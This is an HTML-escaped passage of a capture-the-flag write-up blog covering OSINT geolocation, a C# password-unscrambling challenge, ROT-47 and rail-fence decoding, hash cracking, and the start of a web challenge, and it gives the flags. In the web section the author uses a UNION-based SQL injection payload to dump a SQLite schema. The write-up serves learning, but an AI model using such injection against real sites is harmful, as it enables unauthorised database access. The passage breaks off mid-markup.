GPS Longitude                   : 18 deg 23&apos; 9.15&quot; E
GPS Position                    : 59 deg 12&apos; 49.01&quot; N, 18 deg 23&apos; 9.15&quot; E&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I looked the place up using &lt;a href=&quot;https://www.google.com/maps/place/59%C2%B012&amp;#x27;49.0%22N+18%C2%B023&amp;#x27;09.2%22E/@59.2309407,18.2708283,17z/data=!4m13!1m7!3m6!1s0x0:0x0!2zNTnCsDEyJzQ5LjAiTiAxOMKwMjMnMDkuMiJF!3b1!8m2!3d59.2136139!4d18.385875!3m4!1s0x0:0x0!8m2!3d59.2136139!4d18.385875&quot;&gt;Google Earth&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/c155e8e66fc601f9656651cee05cd976/8802b/Earth.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 49.36708860759494%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACOUlEQVR42mWR3UsUYRTG9+/ptpuEyLzqNrA/QLGom1AppQ+8kNIi8qKbSgjDPhAitEJYkFY0Ck1MN0lUxNoPd9Udd2ZndmZn3vnYX2dnTQJfOJyBec/vfZ7nJHZLBnuaTrFUpnBwSEk30fQKueJB3F1PYVUdaq4Xf3vKPy5XSvk+phMwNmsx9aVAoqe/k56+Dnql37rbRf+dDq7faKf7Zjv5fJaojgBtHAH+D/tXNc+nHvl83VI8/axIXLx0iq4rZ+m8doa+221097dy+eppentayWS3Y6BpVU+oO1YpwCj02T30GZ0V4MBAG0NDF7h3/xyDwy08GDnPw5EWHj1po7C3EwNdzzsaPglt2A7E9sK24nkDuLGe4sdykvRKisXvSTY2lyjkN/mdWcOyTIyKhW40szyR4ZG6X3mxm1K8mBNgQXNlKVVs2yUMIWxIkhNFETmtSGa/wL5WFiWBLCCQruL6H7iW9WN1Y/MC/JkPyJYjvAAMO6JkBuh2iOUodMuQ0BXKc7CrBlXXFXshUVDHF3jjnx8oinoT+ExUJoKwThCEcdUbeflRrDKQASVKGnq9ShHLyDOTWWA+t8ROOYdp23JH7kr5onblj+LTskOi6kaUdQNNO8RxnNhuvd60PZ38wPjEKEHYHEzlFnm5Ncnb7Wkmd2b4VlghI4/VBCghoRkCNG2FaZroui452mJFApetNs6biXGGHw/G1ryaYnV3nderH5lKJ3m3Ns1Y+j2v0pMkN+Yo6AdUDIO/XDzMVG3wugsAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;The cat&amp;#39;s location&quot;
        title=&quot;The cat&amp;#39;s location&quot;
        src=&quot;/static/c155e8e66fc601f9656651cee05cd976/f058b/Earth.png&quot;
        srcset=&quot;/static/c155e8e66fc601f9656651cee05cd976/c26ae/Earth.png 158w,
/static/c155e8e66fc601f9656651cee05cd976/6bdcf/Earth.png 315w,
/static/c155e8e66fc601f9656651cee05cd976/f058b/Earth.png 630w,
/static/c155e8e66fc601f9656651cee05cd976/40601/Earth.png 945w,
/static/c155e8e66fc601f9656651cee05cd976/8802b/Earth.png 1135w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This revealed the final password: &lt;code class=&quot;language-text&quot;&gt;Brevik, Sweden&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Reverse Engineering&lt;/h2&gt;
&lt;h3&gt;Password?&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;My friend is developing a program which has a login functionality. I know it&apos;s insecure but he isn&apos;t listening. Can you help me prove the point by finding out his password from the program?
Please be sure to encase the flag in ASV{} as it is not included in the flag provided in the challenge! The flag will not work without the encasing!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;I downloaded the associated archive &lt;code class=&quot;language-text&quot;&gt;RE-1.zip&lt;/code&gt;, and extracted a C#-file &lt;code class=&quot;language-text&quot;&gt;index.cs&lt;/code&gt; from it, which read:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;using System;

namespace ReverseOne
{d
    class Program
    {
        static void Main(string[] args)
        {
            string[] passwd = new string[9];

            // I&apos;ve left the password scrambled so that I can easily remember it if I forget it
            passwd[0] = &quot;1&quot;;
            passwd[9] = &quot;r&quot;;
            passwd[5] = &quot;h&quot;;
            passwd[1] = &quot;3&quot;;
            passwd[2] = &quot;3&quot;;
            passwd[4] = &quot;_&quot;;
            passwd[6] = &quot;@&quot;;
            passwd[3] = &apos;7&apos;;
            passwd[8] = &quot;0&quot;;
            passwd[7] = &quot;x&quot;;

            Console.WriteLine(&quot;Enter your username: &quot;);
            string usrName = Console.ReadLine();
            Console.WriteLine(&quot;Enter the password for &quot; + usrName) + &quot;: &quot;;
            string password = Console.ReadLine();
            if (password == string.Join(&quot;&quot;, passwd)) {
                Console.WriteLine(&quot;Welcome &quot; + usrName);
            } else {
                Console.WriteLine(&quot;Incorrect password&quot;);
                Main();
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Looks pretty easy. I quickly wrote the following JavaScript (because JS would lead to less typing, and manually rewriting/processing stuff after copy-pasting):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; passwd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
passwd&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;1&quot;&lt;/span&gt;
passwd&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;r&quot;&lt;/span&gt;
passwd&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;h&quot;&lt;/span&gt;
passwd&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;3&quot;&lt;/span&gt;
passwd&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;3&quot;&lt;/span&gt;
passwd&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;_&quot;&lt;/span&gt;
passwd&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@&quot;&lt;/span&gt;
passwd&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;7&quot;&lt;/span&gt;
passwd&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;0&quot;&lt;/span&gt;
passwd&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;x&quot;&lt;/span&gt;
console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;passwd&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;toString&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The output read:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&apos;1,3,3,7,_,h,@,x,0,r&apos;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Static Code Analysis / Reversal&lt;/h2&gt;
&lt;p&gt;Regrettably, I didn&apos;t find time to attempt to solve these...&lt;/p&gt;
&lt;h2&gt;Stego &amp;#x26; Crypto&lt;/h2&gt;
&lt;h3&gt;Gross!&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;I left the clue outside in the sun too long and forgot about it... and it went bad and turned into this. Pretty sure it&apos;s still usable.

|@=5D[ 2?5 @E96C 7F?8: E6?5 E@ 8C@H @? 5:776C6?E EJA6D @7 C@EE:?8 @C82?:4 &gt;2E6C:2=D 2C6 DEF5:65 3J E9:D 8C@FA @7 A6@A=6 42==65 Wu{pvX&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;I had no idea what sort of cipher was used on this text, so I used &lt;a href=&quot;https://www.dcode.fr&quot;&gt;DCODE&lt;/a&gt;&apos;s &lt;a href=&quot;https://www.dcode.fr/cipher-identifier&quot;&gt;Ciper Identifier&lt;/a&gt;. It Suggested it was in all likelihood ROT-47.&lt;/p&gt;
&lt;p&gt;Decoding the text using ROT-47 revealed the following text:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Molds, and other fungi tend to grow on different types of rotting organic materials are studied by this group of people called (FLAG)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A quick search for &quot;people that study fungi and mold&quot; taught me that they are called &lt;code class=&quot;language-text&quot;&gt;MYCOLOGISTS&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Pick It Up&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Tdy lgfrti hleg sTIWSOESoasfa o hscalnei HSATOAY&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;Again, I used &lt;a href=&quot;https://www.dcode.fr&quot;&gt;DCODE&lt;/a&gt;&apos;s &lt;a href=&quot;https://www.dcode.fr/cipher-identifier&quot;&gt;Ciper Identifier&lt;/a&gt;, which suggested to try the Rail Fence (Zig-Zag) Cipher.
Decoding the text using that cipher output: &lt;code class=&quot;language-text&quot;&gt;Todays·flag·for·this·challenge·is·THISWASTOOEASY&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Saving As&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Opening this with Notepad looks.. Really weird. It just feels wrong. Can you figure out what in the heck is in this file?&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;I downloaded the associated file &lt;code class=&quot;language-text&quot;&gt;SavingsAsChallenge.txt&lt;/code&gt;. Opening it as a text-file revealed garbled nonsense, so I i viewed it with a hex editor – which revealed the string &lt;code class=&quot;language-text&quot;&gt;JFIF&lt;/code&gt; (JPEG File Interchange Format, as an internet search will tell you) near the beginning of the file. Renaming the file as &lt;code class=&quot;language-text&quot;&gt;SavingsAsChallenge.jpeg&lt;/code&gt; showed me an image:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/a76bcf2dacb52a08f7d512bb5d630715/b17f8/SavingsAsChallenge.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 72.78481012658227%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEAf/EABYBAQEBAAAAAAAAAAAAAAAAAAECA//aAAwDAQACEAMQAAABrWzM7lFif//EABsQAAICAwEAAAAAAAAAAAAAAAECAxIAISMx/9oACAEBAAEFAkJYbtKXMvmI/dle3//EABYRAQEBAAAAAAAAAAAAAAAAAAABIf/aAAgBAwEBPwGsf//EABURAQEAAAAAAAAAAAAAAAAAAAIQ/9oACAECAQE/ARP/xAAeEAABBAIDAQAAAAAAAAAAAAABAAIREjFBIVFSkf/aAAgBAQAGPwKHfF6cNaCdXlWJho6VYgRKOcr/xAAbEAACAgMBAAAAAAAAAAAAAAABEQAhQVGRcf/aAAgBAQABPyEgM3hfTCU1pIPAjXkSZcQxqB6lwo9GRpT/2gAMAwEAAgADAAAAEDs//8QAGBEAAwEBAAAAAAAAAAAAAAAAAAEhMUH/2gAIAQMBAT8Qfuiin//EABcRAQEBAQAAAAAAAAAAAAAAAAERACH/2gAIAQIBAT8QVqky93//xAAdEAEBAAEEAwAAAAAAAAAAAAABEQAhMUFRYYGx/9oACAEBAAE/EBhGN4D4NjEd8De1mMbiEhKApr1luWYMCOovLxiWCYgXarPmFnkBGrn/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Image of barcodes&quot;
        title=&quot;Image of barcodes&quot;
        src=&quot;/static/a76bcf2dacb52a08f7d512bb5d630715/828fb/SavingsAsChallenge.jpg&quot;
        srcset=&quot;/static/a76bcf2dacb52a08f7d512bb5d630715/ff44c/SavingsAsChallenge.jpg 158w,
/static/a76bcf2dacb52a08f7d512bb5d630715/a6688/SavingsAsChallenge.jpg 315w,
/static/a76bcf2dacb52a08f7d512bb5d630715/828fb/SavingsAsChallenge.jpg 630w,
/static/a76bcf2dacb52a08f7d512bb5d630715/0ede0/SavingsAsChallenge.jpg 945w,
/static/a76bcf2dacb52a08f7d512bb5d630715/3ac88/SavingsAsChallenge.jpg 1260w,
/static/a76bcf2dacb52a08f7d512bb5d630715/b17f8/SavingsAsChallenge.jpg 1600w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;After a few dead ends reverse-image searching, I thought of decoding the barcodes on the tags in the photo.&lt;/p&gt;
&lt;p&gt;The one on the right looks different (smudging/white-bleed on the text above it; much sharper than the one to its left) and probably artificially inserted. I adjusted it in an image editing application:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7f94246ec5881aea3579ada1b81dfaa0/a242d/Barcode.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 68.35443037974683%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAAByUlEQVR42qVSbU/aUBS+P5B3UlaYc4hEtvkK8tJCX2gZiBolRiNb/Gaim2ZQWq2lIrO8d6LLsr/AYuIv4IODeanS4bdlnNz75JyT+5x7kucBf8YI0B9Er9fT7khonaemjnpHJ2uFdkYT/cVjopePORwxIP+8UWXpRDopcF+OStKpUj5X6xWlLDerl6WiWBSFRvUy9/lQKckCl5NFoVpVut0uZEI+4I4P8EjQvzD30vWCwMM0gWc2Vmkymk6yWDDgnpxIsozZZIwsB6wm4/TrSZvFtPch2+l0Bj+fi3ycisWw8IzXw9AEQxHZna311SRLk6kE65lyQ5xwOgkMc9jt73w+FEHwUNCFot+vr4FyIVFENLzsDyzNRyOhOBn7uLu9sZYmcJwhCZ/Xu55eQR0IGcXhCI/bDWksRVmMxu3MJqiUi3Dt+dm3s29m/IuQH15LvU/EaZjAVV+5nCmWsVstoYAfsVkRuw11OLBQ0GwwpBIJcHf76wfc4EptNepXarOtqjftNsRvzVajVpMlqVWvn/K8Uv5ayHN8nhPy+ZJ49ml/XxJ48I9+6A+xP1T09/09GKr/NzTle/2RcsQkz5wE/t+cY5GhzuOQHwA/E6kdm8UuTwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Adjusted barcode&quot;
        title=&quot;Adjusted barcode&quot;
        src=&quot;/static/7f94246ec5881aea3579ada1b81dfaa0/f058b/Barcode.png&quot;
        srcset=&quot;/static/7f94246ec5881aea3579ada1b81dfaa0/c26ae/Barcode.png 158w,
/static/7f94246ec5881aea3579ada1b81dfaa0/6bdcf/Barcode.png 315w,
/static/7f94246ec5881aea3579ada1b81dfaa0/f058b/Barcode.png 630w,
/static/7f94246ec5881aea3579ada1b81dfaa0/a242d/Barcode.png 724w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I then analyzed it using the online &lt;a href=&quot;https://zxing.org/w/decode.jspx&quot;&gt;ZXing Decoder Online&lt;/a&gt; tool, which told me its contents was text: &lt;code class=&quot;language-text&quot;&gt;e3800f93cfa8b2b6743953b4219082c4&lt;/code&gt;. This was not the flag.&lt;/p&gt;
&lt;p&gt;Using &lt;a href=&quot;https://gchq.github.io&quot;&gt;CyberChef&lt;/a&gt;, I analyzed the hash, and concluded it was probably an MD5-hash or something like it.&lt;/p&gt;
&lt;p&gt;I then found a free password hash cracker, &lt;a href=&quot;https://crackstation.net&quot;&gt;Crack Station&lt;/a&gt;, and entered the hash.
It turned out to be an MD4-hash of &lt;code class=&quot;language-text&quot;&gt;drinkyourovaltine&lt;/code&gt;– which was the solution.&lt;/p&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;Exposed Panel&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;You found an exposed admin panel on a website where you can search the usernames of the users. Can you escalate this further?&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;The associated webside showed a text-field used to search for usernames.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 624px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/244d89d678604d82493b6915c1675abb/39c09/Agi1.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 47.46835443037975%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA2UlEQVR42pWRuw6CMBSGeQoFvNGCQKEGZHTQzcHEwcHEy+At6uD7z79tEUK4BBm+9PSc9utJj0b4HCZ1KwwdH4TNYPk8h4q9zMla5Y7tgfAYWlk4EIX+xMZqvcHt/cHp+sR2f8Rmt8fh8sD5/kKyWKI3pupsq7DYYUZ2Ua4qVxT9K6zDIFNFbb0szA5L9EL872O50ApjjF0mPpuDqI9PV4WIawfQLgzUBC0vTCf5k8l41FVIhNBwGPpBnMIi6CzO90Y4b4YnMEUzJnGE0E2FdJbACqJGJh2Qri8q1wNBnuAPagAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Search site&quot;
        title=&quot;Search site&quot;
        src=&quot;/static/244d89d678604d82493b6915c1675abb/39c09/Agi1.png&quot;
        srcset=&quot;/static/244d89d678604d82493b6915c1675abb/c26ae/Agi1.png 158w,
/static/244d89d678604d82493b6915c1675abb/6bdcf/Agi1.png 315w,
/static/244d89d678604d82493b6915c1675abb/39c09/Agi1.png 624w&quot;
        sizes=&quot;(max-width: 624px) 100vw, 624px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The owner seemed to be named &quot;Agi&quot;, so I searched for them:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 605px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f177fae9e295b0cc3d651cd5e1b292d3/90cbd/Agi2.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 67.08860759493672%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAABe0lEQVR42pWTyVKDQBRF8w9aCYSpgZA0Q0KoDEbNZJzLhWWZhZpFXPj/v3B9ryWaAbRcHF4/uH37dgMVEXdhtZI92tB9iZrbRFUE0KhqXov6ADXqjSAqmJNAxCkqTthBnYTbaI6PKBuidzbF6fwK2WisGIwvMJws4EUdpdmeo4sGHNkmQ3pY95rfGD4lIfH89gFPLyu8vn/g7vEZ0+t7LN/WWK7W6J3PlIa1m3k6mTphgeGGqu3h2BQ4MhxVN3DPk/f1fxry6mUU6XcMuWE0kde853MpSvOroU0XIWP4ZLyNFyaqWg0J/T+G/JbtIITTjOC0YogcR3JNDg6+FH7L5FVhV0NSku4QZjqAlWPm2HRfizPUoq4a75CdwE4yFYZ3ohK69DG6MoFJKa1CJEazBcaXNzAbLdUfEioPldClP4XPi1fgrRcxnMyVadlzxqd0ueFXQqtRLDTo7MJuX8Fj3l6RzvsxpIRkWoYbpWimPcisT+NOqc5PUogoxSczWHdXYiDX4AAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Search results&quot;
        title=&quot;Search results&quot;
        src=&quot;/static/f177fae9e295b0cc3d651cd5e1b292d3/90cbd/Agi2.png&quot;
        srcset=&quot;/static/f177fae9e295b0cc3d651cd5e1b292d3/c26ae/Agi2.png 158w,
/static/f177fae9e295b0cc3d651cd5e1b292d3/6bdcf/Agi2.png 315w,
/static/f177fae9e295b0cc3d651cd5e1b292d3/90cbd/Agi2.png 605w&quot;
        sizes=&quot;(max-width: 605px) 100vw, 605px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Searching for a single quote (inserted in the search field for illustration purposes) revealed some helpful warning- and error-output about the prepared SQL-statement used in the PHP-backend – probably something along the lines of &lt;code class=&quot;language-text&quot;&gt;SELECT name FROM &amp;lt;table&gt; WHERE name=&amp;lt;input&gt;;&lt;/code&gt;
I could also see that the database in question was a SQLite-database.&lt;/p&gt;
&lt;p&gt;Performing a SQL-injection, I was able to learn the structure of the database by querying for the SQL using the input &lt;code class=&quot;language-text&quot;&gt;Agi&apos;+UNION+SELECT+sql+FROM+sqlite_master&apos;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 603px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/50566bebab37570371b6d55a46a2fb2c/9128f/Agi3.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
